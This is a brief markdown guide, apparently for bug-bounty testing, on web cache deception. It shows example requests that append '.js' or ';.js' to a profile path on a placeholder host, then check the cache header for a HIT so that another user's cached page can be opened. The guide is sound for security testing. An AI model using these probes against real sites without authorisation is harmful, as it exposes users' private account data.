# Web Cache Deception ## Introduction Web Cache Deception is an attack in which an attacker deceives a caching proxy into improperly storing private information sent over the internet and gaining unauthorized access to that cached data ## Where to find `-` ## How to exploit * Normal Request (For example in the settings profile feature) ``` GET /profile/setting HTTP/1.1 Host: www.vuln.com ``` The response is ``` HTTP/2 200 OK Content-Type: text/html Cf-Cache-Status: HIT ... ``` 1. Try to add cacheable extension (For example .js / .css / .jpg, etc.) ``` GET /profile/setting/.js HTTP/1.1 Host: www.vuln.com ``` The response is ``` HTTP/2 200 OK Content-Type: text/html Cf-Cache-Status: HIT ... ``` If the `Cf-Cache-Status` response the request with `HIT` not `MISS` or `Error`. And then try to open the url in incognito mode 1. Add `;` before the extension (For example `;.js` / `;.css` / `;.jpg`, etc.) ``` GET /profile/setting/;.js HTTP/1.1 Host: www.vuln.com ``` The response is ``` HTTP/2 200 OK Content-Type: text/html Cf-Cache-Status: HIT ... ``` If the `Cf-Cache-Status` response the request with `HIT` not `MISS` or `Error`. And then try to open the url in incognito mode ## References * [@bxmbn](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)